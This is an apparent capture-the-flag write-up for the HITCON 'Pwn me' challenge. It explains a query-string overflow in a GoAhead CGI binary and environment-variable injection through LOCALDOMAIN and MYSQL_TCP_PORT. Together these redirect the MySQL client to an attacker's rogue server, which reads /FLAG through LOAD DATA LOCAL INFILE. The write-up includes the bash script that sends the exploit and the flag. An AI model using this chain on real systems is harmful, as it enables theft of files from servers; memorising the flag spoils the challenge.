Pwn me
[service URL]
[.tar.gz of the service]
🍊 (misc cgi pwn)
To be honest, never even opened the actual service, I jumped straight into to targz. It contained the following files:
-rw-r--r-- 1 alex alex 47 Oct 9 11:15 db.conf
-rw-r--r-- 1 alex alex 765 Oct 11 12:19 Dockerfile
-rw-r--r-- 1 alex alex 16 Oct 10 07:42 FLAG
-rwxr-xr-x 1 alex alex 2673 Oct 10 07:41 index.html
-rwxr-xr-x 1 alex alex 10224 Oct 11 11:33 query
-rw-r--r-- 1 alex alex 1823 Oct 8 20:23 route.txt
Dockerfile is interesting:
FROM ubuntu:latest
MAINTAINER <Orange Tsai> orange@chroot.org
EXPOSE 80/tcp
WORKDIR /root/
RUN apt-get update
RUN apt install -y git make gcc libmysqlclient20
RUN git clone https://github.com/embedthis/goahead.git
WORKDIR /root/goahead/
RUN git checkout v4.0.0
RUN sed -i 's/DME_DEBUG=1/DME_DEBUG=0/' projects/goahead-linux-static.mk
RUN make PROFILE=static ME_COM_SSL=0 ME_GOAHEAD_SSL=0 ME_COM_MBEDTLS=0 DEBUG=0
RUN make -- DEBUG=0 ME_COM_MBEDTLS=0 ME_GOAHEAD_SSL=0 ME_COM_SSL=0 PROFILE=static install
WORKDIR /etc/goahead
RUN mkdir web/
RUN mkdir cgi-bin/
RUN sed -i 's/CGI/\x0\x0\x0/g' /usr/local/bin/goahead
COPY db.conf .
COPY route.txt .
COPY index.html web/
COPY query cgi-bin/
COPY FLAG /
CMD ["goahead", "-v"]%
Looks like we're dealing with the tiny webserver named goahead
. No known vulns, but it does support CGI.
All the other files are not really important right now, only query
, which is a 10KB binary that is the CGI backend.
Opening the query binary in IDA shows us that all it does is SELECT
for a specific name (given in a GET parameter) in the database, and prints rows.
Some things it does:
- In sub_DEA, it loads a simple db.config file into memory, namely 4 strings: DB host, username, password and DB name.
- In sub_107B, it parses the
QUERY_STRING
env var (<3 CGI) with strsep and strtok, and uses sub_FD1 to sanitize both parameter names and values. - Then connects to mysql with the legacy mysql_real_connect(), with the previously parsed parameters, and 0 for every other interesting parameter.
- Then does the query, etc... does not matter, we will not get this far.
I've learned that day, that in the sanitizer code:
const char *__fastcall sub_FD1(const char *a1)
{
int v1; // eax@3
int v3; // [sp+18h] [bp-18h]@1
int i; // [sp+1Ch] [bp-14h]@1
v3 = 0;
for ( i = 0; i < strlen(a1); ++i )
{
if ( (*__ctype_b_loc())[a1[i]] & 0x400 )
{
v1 = v3++;
a1[v1] = a1[i];
}
}
a1[v3] = 0;
return a1;
}
The __ctype_b_loc
talbe is the "attributes for each character" table, and (*__ctype_b_loc())[a1[i]] & 0x400
is literally the isalpha
macro. So we are constrained to only alphabetic characters for all query keys and values
There is a classic overflow in the QUERY_STRING parsing. After 256 keys, it overflows into DBHost and friends. Fortuitously the data formats are the same, i.e. everything is a char*
. Keep in mind, still only alphabetic characters for the host :C
Remember RUN sed -i 's/CGI/\x0\x0\x0/g' /usr/local/bin/goahead
? Yeah, as if that makes sense. Spoiler: it's just an obfuscated way to set the ME_GOAHEAD_CGI_VAR_PREFIX
in the goahead source to 0, disabling CGI prefixing. CGI env var prefixig is a security feature built into goahead something like 2 years ago. Without it, we can set all kinds of env vars (unfortunately except LD_PRELOAD
and friends, as that is not allowed by goahead itself).
But what do we want to set? Well, we want some good postfix for our hostname in mysql_real_connect
. Remember, hostname resolution is most often done via the glibc resolver, which has a great man page. The thing to look for is
The search keyword of a system's resolv.conf file can be overridden on a per-process basis by setting the environment variable LOCALDOMAIN to a space-separated list of search domains.
Turns out, we can set this variable by simply having a GET parameter named LOCALDOMAIN. So I just set this to .hu
, as I have a server in that TLD, and set the host
overflow to stickman
, yielding stickman.hu
Just for convenience, I also set MYSQL_TCP_PORT=5432
(because of course there is an env var used by libmysql), so I don't even have to touch my already running MySQL server on that machine.
Okay, so now we have a binary that connects to our potentially malicious server. What can we do? Spoiler: we can get the client to send us files. Yup.
So basically, MySQL has many file-manipulating constructs. The ones we know and love: SELECT ... INTO OUTFILE
and LOAD DATA INFILE 'file_name' INTO TABLE ...
, with which to escalate from MySQL execution to full filesystem control (if the server lets us).
Looking at the MySQL manual around LOAD
, there's an interesting directive:
LOAD DATA [LOCAL] INFILE
What is LOCAL
? It means a file on the mysql client. How is it supported by the protocol? Very similarly to scp
: the server, after parsing the query, can ask the client to send specific files. Any file. So I just downloaded one of the actually working forks of the RogueMysqlServer. I think it was this fork. Set it up to get the /FLAG
file, and I was done
The server part, pardon my bash:
#!/bin/bash
URL=13.231.38.172
Q=name=A
for i in $(seq 256); do Q="$Q$i=1&"; done
Q="$Q&stickman=1&LOCALDOMAIN=hu&MYSQL_TCP_PORT=5432"
curl "http://$URL/cgi-bin/query?$Q"
hitcon{Env1r0nm3nt 1nj3ct10n r0cks!!!}